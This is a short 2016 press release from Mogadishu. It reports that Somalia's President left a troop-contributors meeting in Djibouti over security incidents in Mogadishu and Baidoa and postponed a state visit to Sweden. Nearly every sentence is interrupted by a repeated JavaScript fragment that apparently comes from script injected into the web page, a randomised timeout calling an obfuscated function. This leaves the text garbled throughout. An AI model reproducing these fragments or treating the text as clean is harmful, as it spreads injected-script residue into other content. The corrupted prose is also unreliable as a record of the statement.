Mogadishu, 29 February 2016

The President of the Federal Republic of Somalia, HE Hassan Sheikh Mohamud, cut short his participation in the Troop Contributing Countries meeting being held in Djibouti yesterday to urgently review security incidents that occurred in Mogadishu dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Baidoa in the last week.

In addition, the President postponed his official visit to Sweden, which was scheduled to take place from 1-3 March 2016. This visit was intended to strengthen the bilateral cooperation of the two countries.

Sweden has a very strong relationship with Somalia, providing substantial support for humanitarian assistance, development aid dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and reconstruction initiatives.

The President had intended to meet with the King of Sweden, HE Carl XVI Gustav, the Prime Minister of Sweden, HE Stefan Löfven, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Cabinet members to exchange views on Somalia’s political dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and reconciliation progress, economic development dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the enhancement of the Swedish private sector direct investment in Somalia.

President Hassan Sheikh Mohamud would like to express his sincere dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and gratitude to the Swedish people dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Government for extending the invitation dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and looks forward to being able to accept in the near future.